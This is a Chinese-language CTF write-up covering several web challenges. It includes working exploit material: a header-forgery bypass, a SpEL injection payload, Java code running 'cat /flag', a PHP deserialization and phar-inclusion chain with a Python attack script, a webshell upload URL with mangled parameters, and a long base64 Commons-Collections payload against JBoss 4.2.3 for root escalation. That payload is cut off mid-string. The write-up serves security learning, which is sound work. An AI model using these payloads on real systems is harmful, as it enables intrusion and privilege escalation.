[toc]
一直想着复现一下把其他几道题看看,结果一拖就拖了这么多天
secret_value
ai分析登进去就可以在dashboard处看到flag

但是在访问dashboard前还要经过装饰器函数login_required的检查
def login_required(view_func):
    @wraps(view_func)
    def wrapped(*args, **kwargs):
        uid = request.headers.get('X-User', '0')
        print(uid)
        if uid == 'anonymous':
            flash('Please sign in first.', 'warning')
            return redirect(url_for('login'))
        try:
            uid_int = int(uid)
        except (TypeError, ValueError):
            flash('Invalid session. Please sign in again.', 'warning')
            return redirect(url_for('login'))
        user = User.query.filter_by(id=uid_int).first()
        if not user:
            flash('User not found. Please sign in again.', 'warning')
            return redirect(url_for('login'))
        g.current_user = user
        return view_func(*args, **kwargs)
    return wrapped
1️⃣ 读取代理传来的用户 ID
uid = request.headers.get('X-User', '0')
print(uid)
- Flask 每次请求时,都会从 HTTP 请求头中取出 X-User。
- 这个 X-User是由前端的 Go Authorizer 代理 自动添加的。
比如:
- 未登录时:X-User: anonymous
- 已登录时:X-User: 1(用户ID)
普通用户注册进来啥也看不到,所以应该要伪造管理员


如果uid是0我就可以以管理员身份拿到flag,但是这里存在一个小问题,就是中间件的go代码会自动识别当前用户的uid,并将其覆盖,也就是说uid这个参数是被强制加上的。这点其实不难解决,利用一个hacktricks里的小技巧,将go生成的X-User请求头删除即可
https://book.hacktricks.wiki/zh/pentesting-web/abusing-hop-by-hop-headers.html?highlight=ho#%E6%B5%8B%E8%AF%95-hop-by-hop-header-%E5%A4%84%E7%90%86
成功拿到flag(本地测试随便生成的一个flag)

bbjv
这道题打比赛的时候被队友ai一把梭了就没看,赛后重新来看看
这个地方很明显存在一个spel注入

先丢给ai整体分析一下代码
代码整体分析
这是一个基于Spring Boot的网关应用,核心功能是通过SpEL表达式执行规则检查,并在特定条件下读取并返回flag文件内容。主要组件如下:
- GatewayController暴露/check端点,接收rule参数调用EvaluationService执行SpEL表达式检查用户主目录下的flag.txt文件若文件存在,读取内容并附加到响应中
- EvaluationService使用SpEL解析器执行表达式采用TemplateParserContext支持${}模板语法
- SpelConfig配置受限的SpEL执行环境使用SimpleEvaluationContext限制功能添加自定义的SecurePropertyAccessor
- SecurePropertyAccessor重写canRead()始终返回false禁止所有属性访问操作
flag在/tmp目录下,所以把user.home改一改即可
#{#systemProperties['user.home']='/tmp'}
用 SimpleEvaluationContext阻断了反射属性读取(SecurePropertyAccessor),但Map访问器仍可用;而 #systemProperties 是 java.util.Properties,因此可以用下标写入

yamcs
测黑盒的思路打出来了

这个页面似乎可以执行summary中的代码,喂给ai写个代码试试
// 安全检测:检查是否能读取系统属性(非破坏性)
try {
    String prop = System.getProperty("user.dir"); // 受限沙箱常会阻止
    // 如果能读到,设置输出为包含该属性的字符串(注意敏感信息不可暴露)
    out0.setStringValue("PROP_ALLOWED:" + (prop == null ? "NULL" : prop));
} catch (Throwable t) {
    // 若被沙箱或权限限制拒绝,将返回明确的失败标记
    out0.setStringValue("PROP_BLOCKED");
}
成功执行了

接着生成一个读flag的命令
try {
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec("cat /flag").getInputStream()
    ).useDelimiter("\\A");
    out0.setStringValue(s.hasNext() ? s.next().trim() : "EMPTY");
} catch (Exception e) {
    out0.setStringValue("ERROR");
}

ez_php
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
这道题比赛时想不通怎么能调用readflag方法,参考https://www.cnblogs.com/LAMENTXU/articles/19156437
<?php
// 生成随机字符串的函数(默认长度8,仅小写字母)
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1); // 随机选取字符索引
        $randomString .= $characters[$r];     // 拼接字符
    }
    return $randomString;
}
// 设置默认时区为亚洲/上海
date_default_timezone_set('Asia/Shanghai');
// 定义 test 类
class test {
    public $readflag; // 通常存储匿名类实例
    public $f;        // 存储函数名或类名
    public $key;      // 控制析构函数行为的标志
    // 构造函数:初始化 $readflag 为匿名类实例
    public function __construct() {
        $this->readflag = new class {
            // 匿名类的构造函数:处理文件上传
            public function __construct() {
                // 检查是否有文件上传且无错误
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
                    $time = date('Hi');                 // 获取当前时间(格式如1836)
                    $filename = $GLOBALS['filename'];   // 从全局变量获取文件名
                    $seed = $time . intval($filename);  // 生成随机种子
                    mt_srand($seed);                    // 设置随机数种子
                    // 清空上传目录
                    $uploadDir = 'uploads/';
                    $files = glob($uploadDir . '*');
                    foreach ($files as $file) {
                        if (is_file($file)) unlink($file); // 删除文件
                    }
                    // 生成新文件名并保存到全局变量
                    $randomStr = generateRandomString(8);
                    $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
                    $GLOBALS['file'] = $newFilename;
                    // 移动上传的文件到目标路径
                    $uploadedFile = $_FILES['file']['tmp_name'];
                    $uploadPath = $uploadDir . $newFilename;
                    if (system("cp " . $uploadedFile . " " . $uploadPath)) {
                        echo "success upload!";
                    } else {
                        echo "error";
                    }
                }
            }
            // 反序列化时触发:输出PHP信息
            public function __wakeup() {
                phpinfo();
            }
            // readflag方法:定义内部函数用于文件读取
            public function readflag() {
                // 内部函数:读取并包含文件(安全过滤)
                function readflag() {
                    if (isset($GLOBALS['file'])) {
                        $file = $GLOBALS['file'];
                        $file = basename($file); // 防止路径遍历
                        // 检查文件名是否包含协议(如 http://)
                        if (preg_match('/:\/\//', $file)) die("error");
                        // 读取文件内容并检查危险字符串
                        $file_content = file_get_contents("uploads/" . $file);
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
                            die("Illegal content detected in the file.");
                        }
                        include("uploads/" . $file); // 包含文件
                    }
                }
            }
        };
    }
    // 析构函数:对象销毁时触发
    public function __destruct() {
        $func = $this->f;
        $GLOBALS['filename'] = $this->readflag; // 更新全局变量
        // 根据 $key 执行不同操作
        if ($this->key == 'class') {
            new $func(); // 动态实例化类
        } else if ($this->key == 'func') {
            $func();    // 动态调用函数
        } else {
            highlight_file('index.php'); // 高亮显示当前文件
        }
    }
}
// 从GET参数获取序列化数据,默认值为 'O:4:"test":N'
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser); // 反序列化(抑制错误)
?>
传入key为func时,可以调用函数,可以利用这一点调用匿名类的readflag函数,怎么调用?先看基础知识
在 PHP 里,很多东西都可以被当作函数来调用:
- 一个普通字符串 "readflag"—— 当作全局函数名去调用。
- 一个数组 ["ClassName", "method"]—— 当作 类方法 去调用(等同ClassName::method())。
- 还有对象实例加方法名 [ $obj, "method" ]等等。
所以如果把 $f 设成 ["匿名类完整名", "readflag"],PHP 就会去“调用匿名类的 readflag 方法”。
在源码里,匿名类的 readflag() 方法并不是立即包含文件,而是在其方法体里 定义了一个全局函数 readflag()(也就是它声明了一个函数)。定义完成后,后续再调用全局函数 readflag() 就会读取/包含上传的文件,完成关键动作。
PHP 在析构时是后进先出(LIFO)——最后创建的对象先析构。
- 因此必须保证先触发匿名类的方法去“定义全局函数”,然后再触发调用全局函数。
- 最简单的策略是把“定义函数”的对象放在序列化数组里靠后(这样它被更晚创建,先析构),把“调用函数”的对象放在数组里靠前(更先创建,最后析构)。
再来看匿名类的命名规则
匿名类遵循这样的规则:
%00 + 函数 + 路径 : 行号$序号
可以自己docker里起一个实例看看
<?php
eval('$b = new class{};');
echo get_class($b);

这个eval函数在第一行,所以不难推出他的名字是
\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1
```
<?php
class test {
    public $readflag;
    public $f;
    public $key;
    public function __construct() {
    }
}
$a = new test();
$a -> readflag = 名字;
$a -> f = 'test';
$a -> key = 'class';
$b = new test();
$b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag');
$b -> key = 'func';
echo serialize($a);
echo '                           ';
echo serialize($b);
```
import requests
target = 'http://localhost:8080/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.png', 'rb'))})
print(res.text)
到这里就可以上传文件并包含,后续怎么做呢
参考https://fushuling.com/index.php/2025/07/30/%E5%BD%93include%E9%82%82%E9%80%85phar-deadsecctf2025-baby-web/

使用上述代码生成phar,再gzip打包
gzip exploit.phar
现在其他问题都解决的差不多了,但是还需要在文件名中加上phar,才会触发include解析phar的逻辑,看看怎么操作
$seed = $time . intval($filename);
mt_srand($seed);
发现文件名可控,能否通过文件名的seed生成phar这个随机字符串、
ai搓个脚本
<?php
// 用法:php find_phar.php 0935
// 第一个参数就是题目里的 $time = date('Hi')
date_default_timezone_set('Asia/Shanghai');
$time = date('Hi');               // 比如 0935
$max  = 200000;     // 最多枚举到多少文件名,你可以自己加大
// 题目里的生成函数,原样抄过来
function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        // 在 PHP 7+ 里 rand() == mt_rand(),所以前面的 mt_srand() 会影响它
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}
$hits = 0;
for ($fname = 0; $fname <= $max; $fname++) {
    // 题目里是:$seed = $time . intval($filename);
    // 注意这里是字符串拼接再转成数字的效果
    $seed = $time . intval($fname);
    // 为了保险,转成 int
    $seed = (int)$seed;
    mt_srand($seed);
    $randStr = generateRandomString(8);
    if (strpos($randStr, 'phar') !== false) {
        $hits++;
        echo "[+] time=$time  filename={$fname}  seed={$seed}  rand=\"{$randStr}\"\n";
    }
}
if ($hits === 0) {
    echo "[-] 没找到含 phar 的,试试把第二个参数 max 调大,比如 1000000。\n";
}
到这里其实基本就没有问题了,但是在操作时莫名遇到个报错
import requests
target = 'http://localhost:8080/'
a = 'O:4:"test":3:{s:8:"readflag";s:6:"690136";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous /var/www/html/index.php(1) : eval()\'d code:1$1";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('exploit.gz', 'rb'))})
print(res.text)
大概意思就是说我的匿名类的函数是空的,也就是没找到
<b>Fatal error</b>:  Uncaught Error: Class 'class@anonymous /var/www/html/index.php(1) : eval()'d code:1$1' not found in /var/www/html/index.php(1) : eval()'d code:1
Stack trace:
#0 /var/www/html/index.php(1) : eval()'d code(1): test->__destruct()
#1 /var/www/html/index.php(1): eval()
#2 {main}
  thrown in <b>/var/www/html/index.php(1) : eval()'d code</b> on line <b>1</b><br />
一开始在想会不会是匿名类序号的问题,试了试也不是,这里不知道为什么一直不通
日志系统
这题可惜最后差点时间,再来半个小时应该就能打通,当时我们都分析出大概率是jboss提权,但是正好都没这方面经验,动作就慢了很多
先说第一步上传马的思路
/api.php?timestamp[year]=20×tamp[month]=25×tamp[day]=0×tamp[day].=php
然后访问2025.php即可发现成功上传,试出来的,原因暂且不明
进去之后本来想测测sudo版本,发现就没有,同时排除了今年的sudo提权和suid提权
查看可写目录,发现可疑的地方,一个跟jboss相关的东西很突兀的出现了

同时jboss是root进程,版本为4.2.3,很低,基本可以锁定是用这玩意提权
但是怎么提呢,也是赛后看了篇博客才清楚
https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247488032&idx=1&sn=ef292ff76de11a1279af8dfac4f1700c&chksm=cef14669de8e86570a1694adfd83d4ad99ffd12fc94f028d088b3b98fb5cbf354b3b2993d052&mpshare=1&scene=23&srcid=1020EVkqRyL75Dlgi5D5bi3q&sharer_shareinfo=2c258afed86d28c5005eeda82f2d4211&sharer_shareinfo_first=2c258afed86d28c5005eeda82f2d4211#rd
4446端口可以打一个cc依赖的反序列化
String payload = "rO0ABXNyACLBqsGhwbbBocCuwbXBtMGpwazArsGIwaHBs8GowY3BocGwBQfawcMWYNEDAAJGABTBrMGvwaHBpMGGwaHBo8G0wa/BskkAEsG0wajBssGlwbPBqMGvwazBpHhwP0AAAAAAAAx3CAAAABAAAAABc3IAaMGvwbLBp8CuwaHBsMGhwaPBqMGlwK7Bo8Gvwa3BrcGvwa7Bs8CuwaPBr8GswazBpcGjwbTBqcGvwa7Bs8CuwavBpcG5wbbBocGswbXBpcCuwZTBqcGlwaTBjcGhwbDBhcGuwbTBssG5iq3SmznBH9sCAAJMAAbBq8Glwbl0ACTBjMGqwaHBtsGhwK/BrMGhwa7Bp8CvwY/BosGqwaXBo8G0wLtMAAbBrcGhwbB0AB7BjMGqwaHBtsGhwK/BtcG0wanBrMCvwY3BocGwwLt4cHNyAHTBo8Gvwa3ArsGzwbXBrsCuwa/BssGnwK7BocGwwaHBo8GowaXArsG4waHBrMGhwa7ArsGpwa7BtMGlwbLBrsGhwazArsG4wbPBrMG0waPArsG0wbLBocG4wK7BlMGlwa3BsMGswaHBtMGlwbPBicGtwbDBrAlXT8FurKszAwAGSQAawZ/BqcGuwaTBpcGuwbTBjsG1wa3BosGlwbJJABzBn8G0wbLBocGuwbPBrMGlwbTBicGuwaTBpcG4WwAUwZ/BosG5wbTBpcGjwa/BpMGlwbN0AAbBm8GbwYJbAAzBn8GjwazBocGzwbN0ACTBm8GMwarBocG2waHAr8GswaHBrsGnwK/Bg8GswaHBs8GzwLtMAArBn8GuwaHBrcGldAAkwYzBqsGhwbbBocCvwazBocGuwafAr8GTwbTBssGpwa7Bp8C7TAAiwZ/Br8G1wbTBsMG1wbTBkMGywa/BsMGlwbLBtMGpwaXBs3QALMGMwarBocG2waHAr8G1wbTBqcGswK/BkMGywa/BsMGlwbLBtMGpwaXBs8C7eHAAAAAA/////3VyAAbBm8GbwYJL/RkVZ2fbNwIAAHhwAAAAAnVyAATBm8GCrPMX+AYIVOACAAB4cAAADtbK/rq+AAAANABmCgAUADQIADUKAAUANggAHgcANwcAIQoABQA4CgA5ADoKADsAPAgAPQoAPgA/CgAFAEAKAEEAOgcAQgoAQwBECgBBAEUKADkARgoABQBHBwBIBwBJAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACFMcGF5bG9hZC9UZW1wbGF0ZUltcGxDbGFzc0xvYWRlcjsBAAZsb2FkZXIBABFMamF2YS9sYW5nL0NsYXNzOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAARjb2RlAQACW0IBAAtjb25zdHJ1Y3RvcgEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAApFeGNlcHRpb25zBwBKAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcASwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAHFRlbXBsYXRlSW1wbENsYXNzTG9hZGVyLmphdmEMABUAFgEATmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwkVHJhbnNsZXRDbGFzc0xvYWRlcgwATABNAQAPamF2YS9sYW5nL0NsYXNzDABOAE8HAFAMAFEAUgcAUwwAVABXAQVceXY2NnZnQUFBRFFBUUFvQUVBQWxDQUFtQ1FBbkFDZ0lBQ2tLQUFZQUtnY0FLd2dBTEFnQUxRZ0FIUWdBTGdvQUx3QXdDZ0F2QURFSEFESUtBQTBBTXdjQU5BY0FOUUVBQmp4cGJtbDBQZ0VBQXlncFZnRUFCRU52WkdVQkFBOU1hVzVsVG5WdFltVnlWR0ZpYkdVQkFCSk1iMk5oYkZaaGNtbGhZbXhsVkdGaWJHVUJBQVIwYUdsekFRQVZUSEJoZVd4dllXUXZVblZ1ZEdsdFpVVjRaV003QVFBSVBHTnNhVzVwZEQ0QkFBUjJZWEl4QVFBVFcweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFCSFpoY2pNQkFCVk1hbUYyWVM5cGJ5OUpUMFY0WTJWd2RHbHZianNCQUFOamJXUUJBQkpNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUExVGRHRmphMDFoY0ZSaFlteGxCd0FyQndBYUJ3QXlBUUFLVTI5MWNtTmxSbWxzWlFFQUVGSjFiblJwYldWRmVHVmpMbXBoZG1FTUFCRUFFZ0VBVkdOaGRDQXZaWFJqTDJsaVpHTnFaR0ZxYVdvdmFXSmtZMnBrWVdwcGFpOXBZbVJqYW1SaGFtbHFMMmxpWkdOcVpHRnFhV292YVdKa1kycGtZV3BwYWk5bWJEUTBORFEwTkdjZ1BpQXZkRzF3THpFeU13Y0FOZ3dBTndBZUFRQUJMd3dBT0FBNUFRQVFhbUYyWVM5c1lXNW5MMU4wY21sdVp3RUFCeTlpYVc0dmMyZ0JBQUl0WXdFQUFpOURCd0E2REFBN0FEd01BRDBBUGdFQUUycGhkbUV2YVc4dlNVOUZlR05sY0hScGIyNE1BRDhBRWdFQUNXVlJkVzV6U1ZCdU1RRUFFR3BoZG1FdmJHRnVaeTlQWW1wbFkzUUJBQXhxWVhaaEwybHZMMFpwYkdVQkFBbHpaWEJoY21GMGIzSUJBQVpsY1hWaGJITUJBQlVvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1ZvQkFCRnFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpRRUFDbWRsZEZKMWJuUnBiV1VCQUJVb0tVeHFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpUc0JBQVJsZUdWakFRQW9LRnRNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56T3dFQUQzQnlhVzUwVTNSaFkydFVjbUZqWlFBaEFBOEFFQUFBQUFBQUFnQUJBQkVBRWdBQkFCTUFBQUF2QUFFQUFRQUFBQVVxdHdBQnNRQUFBQUlBRkFBQUFBWUFBUUFBQUFVQUZRQUFBQXdBQVFBQUFBVUFGZ0FYQUFBQUNBQVlBQklBQVFBVEFBQUEwd0FFQUFNQUFBQklFZ0pMc2dBREVnUzJBQVdaQUJrR3ZRQUdXUU1TQjFOWkJCSUlVMWtGS2xOTXB3QVdCcjBBQmxrREVnbFRXUVFTQ2xOWkJTcFRUTGdBQ3l1MkFBeFhwd0FJVFN5MkFBNnhBQUVBTndBL0FFSUFEUUFEQUJRQUFBQW1BQWtBQUFBSEFBTUFDUUFPQUFvQUpBQU1BRGNBRHdBL0FCSUFRZ0FRQUVNQUVRQkhBQk1BRlFBQUFDb0FCQUFoQUFNQUdRQWFBQUVBUXdBRUFCc0FIQUFDQUFNQVJBQWRBQjRBQUFBM0FCQUFHUUFhQUFFQUh3QUFBQlVBQlB3QUpBY0FJUHdBRWdjQUlVb0hBQ0w1QUFRQUFRQWpBQUFBQWdBawcAWAwAWQBaDABbAFwHAF0BABBqYXZhL2xhbmcvT2JqZWN0BwBeDABfAGAMAGEAYgwAYwBkDABhAGUBAAVib3Z0TwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFu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